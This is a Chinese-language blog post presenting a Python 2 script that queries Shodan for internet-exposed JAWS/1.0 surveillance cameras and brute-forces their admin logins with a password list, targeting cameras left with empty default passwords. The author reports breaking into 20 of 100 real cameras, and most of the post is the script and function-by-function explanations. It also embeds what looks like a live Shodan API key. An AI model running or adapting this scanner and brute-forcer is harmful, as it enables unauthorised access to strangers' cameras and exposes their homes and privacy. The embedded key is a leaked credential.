Python脚本自动化破解大白鲨摄像头(Shodan)

关于本文的技术知识点,Shodan模块的用法,传送门——>  Python中shadon模块的使用    Shodan的使用

今天我们要利用python进行自动化破解的摄像头叫大白鲨摄像头,他的Banner信息头有一个很明显的特征就是 JAWS/1.0 。

我们先利用 Shodan搜索一下 JAWA/1.0,就可以看到出来了很多摄像头

Python脚本自动化破解大白鲨摄像头(Shodan)_第1张图片

大白鲨这种摄像头有一个特点就是他的 admin 账户的密码默认是空。而很多人买了摄像头之后装上就草草了事了,也不会去修改密码。所以我们是利用很多用户的摄像头空密码的漏洞,去暴力测试。

具体代码如下:环境  python 2.7.5

# -*- coding: utf-8 -*-
"""
Created on Fri Nov 16 21:56:15 2018
@author: 小谢
"""
import urllib
import urllib2
import time
import shodan
i=0
api=shodan.Shodan("cB9sXwb7l95ZhSJaNgcaO7NQpkzfhQVM") 
def FindTarget():
    try:
        f=open("target.txt","w")
        results=api.search('JAWS/1.0') 
        print("Results found:%s"%results['total'])
        for result in results['matches']:
            url=result['ip_str']+":"+str(result['port'])
            f.write(url)
            f.write("\n")
        f.close()
    except shodan.APIError,e:
        print("Error:%s"%e)
def Login(host,port):
    global i
    try:
        with open("passwd.txt","r") as f:
            for line in f.readlines():
                passwd=line.strip("\n").strip("\r")
                headers={
                         'Host':host,
                         'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
                         'Referer':"http://"+host+"/",
                         'Accept':"*/*",
                         'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
                         'X-Requested-With':'XMLHttpRequest',
                         'Cookie':'lxc_save=admin%2c'+passwd+";dvr_camcnt=16;dvr_clientport="+port+";dvr_sensorcnt=4; dvr_usr=admin; dvr_pwd="+passwd+"; iSetAble=1; iPlayBack=1",
                         'Connection':'close'
                         }
                a=''
                b=urllib.quote(a)  #对a进行URL编码
                ti=int(time.time())    #获取当前距离元点的时间,整数
                data="xml="+b+"&_="+str(ti)
                url="http://"+host+"/cgi-bin/gw.cgi?"+data   #提交的url
                req=urllib2.Request(url=url,headers=headers) #得到一个urblib2.Request对象
                try:
                    response=urllib2.urlopen(req,timeout=5)
                    length=response.headers['Content-Length']
                    if length==str("175"):
                        i=i+1
                        if passwd=="":
                            print(host+"是空密码")
                            files=open("ip.txt","a")
			    data=host+passwd
                            files.write(data)
                            files.write("\n")
                            files.close()
                            break
                        else:
                            print(host+"--"+passwd+"--")
                            break
                except urllib2.URLError,e:
                    print("该网站"+host+"对输入密码错误三次进行了锁定!")
                    break
    except Exception , e:
        print("请求超时!")
def exploit():
    try:
        with open("target.txt") as f:
            for line in f.readlines():
                host=line.strip("\n").strip("\r")
                port=host.split(":")[1].strip("\r")
                Login(host,port)
    except Exception ,e:
        print("出现异常:%s",e)
    finally:
        print("共破解"+str(i)+"个摄像头")
def main():
    FindTarget()
    exploit()
if __name__=="__main__":
    start=time.time()
    main()
    end=time.time()
    print("共花费了%s的时间"%(end-start))

脚本运行截图

Python脚本自动化破解大白鲨摄像头(Shodan)_第2张图片

可以看到,最后一共破解了20个摄像头,用了375秒的时间。

随便登录一个

因为我们Shodan的没有付费,所以只能搜索到前100个摄像头,所以我们是从前100个摄像头里面破解了20个摄像头。

具体函数模块讲解:

FindTarget() 函数用于查找在线的 大白鲨摄像头,并且写入 target.txt  文件中

def FindTarget():
    try:
        f=open("target.txt","w")
        results=api.search('JAWS/1.0')     #搜索大白鲨摄像头
        print("Results found:%s"%results['total'])
        for result in results['matches']:
            url=result['ip_str']+":"+str(result['port'])  #摄像头的ip和端口
            f.write(url)    
            f.write("\n")
        f.close()
    except shodan.APIError,e:
        print("Error:%s"%e)

Login() 用于尝试登录每个 ip 地址,用户名为 admin 密码为我们 passwd.txt文件中的密码字典。这就需要我们模拟登录时候包的结构了。我们先尝试浏览器登录,然后设置代理查看数据包的结构。然后我们再利用python模拟数据包发送,进行自动化测试。

将回包长度为 175的地址写入ip.txt文件中。回包长度为175说明登录成功,其他长度都是登录失败!

def Login(host,port):
    global i
    try:
        with open("passwd.txt","r") as f:
            for line in f.readlines():
                passwd=line.strip("\n").strip("\r")
                headers={
                         'Host':host,
                         'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
                         'Referer':"http://"+host+"/",
                         'Accept':"*/*",
                         'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
                         'X-Requested-With':'XMLHttpRequest',
                         'Cookie':'lxc_save=admin%2c'+passwd+";dvr_camcnt=16;dvr_clientport="+port+";dvr_sensorcnt=4; dvr_usr=admin; dvr_pwd="+passwd+"; iSetAble=1; iPlayBack=1",
                         'Connection':'close'
                         }
                a=''
                b=urllib.quote(a)
                ti=int(time.time())    #获取当前距离元点的时间,整数
                data="xml="+b+"&_="+str(ti)
                url="http://"+host+"/cgi-bin/gw.cgi?"+data   #提交的url
                req=urllib2.Request(url=url,headers=headers)
                try:
                    response=urllib2.urlopen(req,timeout=5)  #设置超时
                    length=response.headers['Content-Length']
                    if length==str("175"):
                        i=i+1
                        if passwd=="":
                            print(host+"是空密码")
                            files=open("ip.txt","a")
			    data=host+passwd
                            files.write(data)
                            files.write("\n")
                            files.close()
                            break
                        else:
                            print(host+"--"+passwd+"--")
                            break
                except urllib2.URLError,e:
                    print("该网站"+host+"对输入密码错误三次进行了锁定!")
                    break
    except Exception , e:
        print("请求超时!")

exploit()函数就是读取 target.txt 文件中的地址,然后将其一个一个破解

def exploit():
    try:
        with open("target.txt") as f:
            for line in f.readlines():
                host=line.strip("\n").strip("\r")
                port=host.split(":")[1].strip("\r")
                Login(host,port)
    except Exception ,e:
        print("出现异常:%s",e)
    finally:
        print("共破解"+str(i)+"个摄像头")

 

你可能感兴趣的:(Python攻击脚本)